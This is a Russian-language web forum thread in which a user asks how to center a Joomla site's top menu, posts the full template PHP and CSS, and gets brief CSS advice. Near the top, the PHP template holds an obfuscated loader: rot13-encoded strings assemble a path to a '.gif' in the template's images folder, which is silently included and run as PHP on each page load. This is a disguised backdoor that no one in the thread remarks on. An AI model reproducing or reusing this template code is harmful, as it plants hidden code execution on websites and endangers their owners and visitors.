Как сделать меню посередине?

shellon · Aug 11, 2011

Здравствуйте!
Подскажите, пожалуйста, как сделать чтобы горизонтальное меню "Главная Описание Joomla Лицензия Joomla! и т.д." выравнивалось по-середине?

Вот адрес:
http://shellon.jino.ru/3/index.php

Заранее спасибо!)

Код шаблона:

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>

<div id="main_bg">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><?php endif; ?><a href="index.php" class="logo" title=""><?php echo $mainframe->getCfg('sitename') ;?></a>
<?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?></div>
<div id="main_top"><jdoc:include type="modules" name="top" /></div>
<div id="top_menu"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_left.png" alt="" align="left" /><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_right.png" alt="" align="right" /><br clear="all" /></div>

<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>

<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>

<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>

<jdoc:include type="modules" name="debug" />
</body>
</html>
Click to expand...

Ads Master

TroL · Aug 11, 2011

css знаешь? нет?! тогда учи пригодится! надо дописать margin: 0 auto; в файле шаблона ксс

xaknet · Aug 12, 2011

Как ты создаешь сайт о Joomla если ты не знаешь всю систему или хотябы css верстку. FireBug тебе в помощь , а также и гугл!

umbabaraumba · Aug 12, 2011

Попробуйте ширину больше сделать

#topnav {
float: left;
font-weight: bold;
height: 54px;
margin-bottom: 0;
margin-left: 0;
margin-right: 0;
margin-top: 0;
padding-bottom: 0;
padding-left: 0;
padding-right: 0;
padding-top: 0;
width: 952px;

shellon · Aug 12, 2011

xaknet said: ↑

Как ты создаешь сайт о Joomla если ты не знаешь всю систему или хотябы css верстку. FireBug тебе в помощь , а также и гугл!
Click to expand...

Этот сайт не о Joomla))) Это стандартное наполнение. Сейчас работаю над дизайном.

Ничего не получается!
Вот CSS. Помогите, пожалуйста. Что и где нужно исправить???

/*****************************/
/*** Core html setup stuff ***/
/*****************************/

html {
height: 100%;
margin-bottom: 1px;
}

form {
display:inline;
}

body {
margin: 0px 0px 0px 0px;
width: 100%;
display: table;
background:url(../images/bg_page.png) top repeat-x #FFE382;
}

body, td{
font-family: "Trebuchet MS";
font-size: 13px;
color: #333;
line-height: 1.3em;
}

a:link, a:visited {
text-decoration: none;
font-weight: normal;
}

a:hover {
text-decoration: underline;
font-weight: normal;
}

input.button { cursor: pointer; }

p { margin-top: 0; margin-bottom: 5px; }

img { border: 0 none; margin:0px; }

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
padding: 0px;
margin: 0px;
margin-bottom: 0px;
background: #FFF url(../images/bg_page.png) top repeat-x;
}

div#top_menu{
height:54px;
margin: 0 auto;
width: 978px;
}

#topnav{ height: 54px; width:952px; margin: 0px auto; padding:0px; font-weight: bold; float:left; }
#topnav ul { margin: 0px 0px 0px 11px; padding: 0; width: auto; float: left; list-style-type:none; }
#topnav ul li{ margin: 0; padding: 0; height: 54px; float: left; position: relative; }
#topnav ul li a{ color: #FFFFFF; font-weight: bold; text-decoration: none; padding: 14px 10px 0px 10px; height:40px; display: block; float: left; }
#topnav ul li a:hover{ background-color: #444444; text-decoration: none; font-weight: bold; color: #fff; }
#topnav ul li ul ul { margin: -50px 0 0 297px; z-index: 100; }
#topnav ul li li { width:auto; height: 35px; }
#topnav ul li li a { color: #fff; text-transform: none; display: block; background: none; width: 277px; border-top: 1px solid #DDDDDD; border-left: 0px; padding: 9px 10px 6px 10px; height:20px; }
#topnav ul li li a:hover{ background: none; background-color: #333333; left: 0; width: 277px; padding: 9px 10px 6px 10px; height:20px; border-top: 1px solid #DDDDDD; }
#topnav ul li ul { left: -999em; top: 54px; left: 0; display: block; height: 36px; width: 277px; position: absolute; z-index: 99; left: -999em; clear: left; margin-top: 0px; margin-left: 0px; }
#topnav ul li:hover ul ul, #topnav ul li:hover ul ul ul { left: -999em; }
#topnav ul li:hover ul, #topnav ul li li:hover ul, #topnav ul li li li:hover ul { left: auto; }

div#main_bg{
margin:0px auto;
width: 978px;
text-align:left;
background:#fff;
}

div#h_area{
background: #FFF url(../images/h_area_bg.jpg) top center no-repeat;
margin:0px auto;
width: 964px;
height:71px;
text-align:left;
padding-left:14px;
padding-top:10px;
}

.logo{
display: block;
float:left;
padding-top:0px;
margin-bottom:10px;
margin-left:10px;
width:600px;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
font-size:30px;
font-weight:bold;
line-height: 58px;
color:#333;
text-decoration:none;
font-family:Arial;
}

div#user4{
float:right;
text-align:left;
margin-right: 20px;
}

div#user4 div.search{
width:220px;
height:46px;
text-align:left;
padding-top: 5px;
background: url(../images/search_bg.gif) top left no-repeat;
}
div#user4 div.search .inputbox {
background:#FFFFFF;
width: 150px;
height: 16px;
margin-left: 60px;
font-size: 11px;
color: #454545;
padding:5px 2px 2px 2px;
border: 1px solid #D3D3D3;
}

div#main_top{
width:978px;
height:273px;
background: url(../images/banner1.jpg) top center no-repeat;
}
div#main_top table.contentpaneopen{
padding:0px;
margin-top:60px;
margin-right:80px;
width:430px;
height:149px;
overflow: auto;
text-align:left;
color: #FFF;
float:right;
}
div#main_top table.contentpaneopen td{
color:#FFF;
}
div#main_top table.contentpaneopen a, div#main_top table.contentpaneopen a:link{
color:#FFF;
}

.search {
text-align:left;
width: 156px;
height:43px;
}
.search .inputbox {
background:#FFFFFF;
width: 156px;
height: 17px;
font-size: 11px;
color: #454545;
margin:9px 0px 0px 20px;
border: 1px solid #D3D3D3;
}

#leftcolumn{
margin-left:9px;
padding:0px;
width:205px;
float:left;
}
#rightcolumn{
margin-right:9px;
padding:0px;
width:205px;
float:right;
}

#maincolumn{
width:530px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}
#maincolumn_middle{
width: 740px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}
#maincolumn_big{
width: 967px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}

div.path{
margin:10px 0 0 0px;
padding: 5px;
}

div.nopad {
float:left;
padding:0 0px 15px 0px;
}

div.nopad ul {
clear: both;
}
.article_separator {
height:35px;
line-height:35px;
}
form#form-login fieldset {
border: none;
margin: 0;
margin-left:10px;
}
form#form-login ul li{
padding: 0;
}

form#form-login ul li a {
text-align: left;
padding: 0px;
font-size: 10px;
color: #858585;
}

#leftcolumn div.module_menu, #leftcolumn div.module{
margin: 10px 0px 0px 0px;
padding:0px;
width: 205px;
}
.article_column {
padding-right:10px;
}
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
margin: 10px 0px 0px 0px;
padding: 0px;
width: 205px;
}
div.bannergroup_text {
margin:0px 13px 15px 13px;
}
.bannerheader {
font-weight:bold;
margin-bottom:10px;
}
.banneritem_text {
margin-bottom:10px;
}
.bannerfooter_text {
margin-bottom:10px;
}
#leftcolumn div.module_menu div div div, #leftcolumn div.module div div div,
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
background: url(../images/rub_bottom.png) center bottom no-repeat;
}
#leftcolumn div.module_menu div div div, #leftcolumn div.module div div{
margin: 0px;
padding: 0px;
padding-bottom:5px;
width: 205px;
height:auto;
}

#leftcolumn div.module_menu div div div div, #leftcolumn div.module div div div div{
background: none;
padding:4px 8px;
}
#leftcolumn h3,
#rightcolumn h3{
text-align: left;
padding-left:15px;
height: 42px;
width: 190px;
line-height: 40px;
color:#FFFFFF;
font-size:16px;
margin:0px;
font-weight:bold;
}
table.poll thead td {
text-align: left;
padding-left:10px;
}
table.poll td {
text-align: left;
}
#leftcolumn ul.menu li ul{
list-style: none;
}
.pollstableborder {
margin: 5px 0px 10px 0px;
}
.poll td div{
display:inline;
}

/* forms */

#leftcolumn .moduletable ul,
#rightcolumn .moduletable ul {
margin: 6px 0;
padding: 0;
list-style: none;
}

#leftcolumn .moduletable ul li,
#rightcolumn .moduletable ul li {
margin: 0;
padding: 0 2px;
}
.moduletable ul {
padding:5px 10px 5px 12px;
margin:0px;
}

.moduletable ul li {
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
#leftcolumn ul.menu li#current ul li,
#rightcolumn ul.menu li#current ul li {
margin: 0px;
padding: 0px;
}
ul.menu {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.menu li{
padding:0px 10px 5px 15px;
margin:0px;
}

ul.menu li ul {
padding:0px 0px 5px 0px;
margin:0px;
}
ul.menu li ul li{
padding:0px 0px 0px 15px;
border:none;
}
ul.menu li#current ul li a{
margin-left:15px;
text-decoration:none;
}
ul.mostread {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.mostread li{
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
ul.latestnews {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.latestnews li{
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
div.componentheading{
font-size:16px;
font-size:19px;
margin:7px auto;
}
td.contentheading{
font-weight:normal;
vertical-align:top;
font-size:19px;
height:30px;
color:#9E9E9B;
background: url(../images/contentheading_ico.png) left top no-repeat;
}
table.contentpaneopen td.contentheading{
padding-left:34px;
}
table.contentpaneopen{
border-collapse: collapse;
margin-left:5px;
}
td.buttonheading{
padding:0px 2px 0px 2px;
}
table.contentpaneopen td{
padding:0px;
}
.contentpaneopen p{
line-height:22px;
}
span.small, td.createdate, td.modifydate{
font-size:11px;
color:#FFFFFF;
}
span.pagination span, span.pagination a{
padding:5px;
}

div#f_area{
background: #CBCBCB url(../images/f_area_bg.png) top repeat-x;
margin:0px auto;
width: 978px;
text-align:left;
margin-bottom:3px;
}
#f_area div.moduletable, #f_area div.moduletable_menu{
float: left;
margin:20px 4px 10px 6px;
width: 234px;
}
#f_area h3{
text-align:center;
vertical-align:bottom;
height: 30px;
width: 234px;
color:#FFFFFF;
font-size:17px;
font-family:"Trebuchet MS", Tahoma, Verdana;
margin:0px;
padding-top:20px;
}

/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}

#syndicate{
float:left;
padding-left: 25px;
}
Click to expand...

shellon · Aug 15, 2011

UPUPUPUP

shellon · Aug 15, 2011

Что, никто не знает как это делается???(((

shellon · Aug 16, 2011

UPUPUPUPUP

Log in or Sign up

Как сделать меню посередине?

shellon Недавно здесь

Ads Master

TroL Недавно здесь => Cпециалист <=

xaknet Недавно здесь

umbabaraumba Активист => Cпециалист <=

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

Share This Page

Log in or Sign up

Как сделать меню посередине?

shellon Недавно здесь

Ads Master

TroL Недавно здесь => Cпециалист <=

xaknet Недавно здесь

umbabaraumba Активист => Cпециалист <=

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

Share This Page

Useful Searches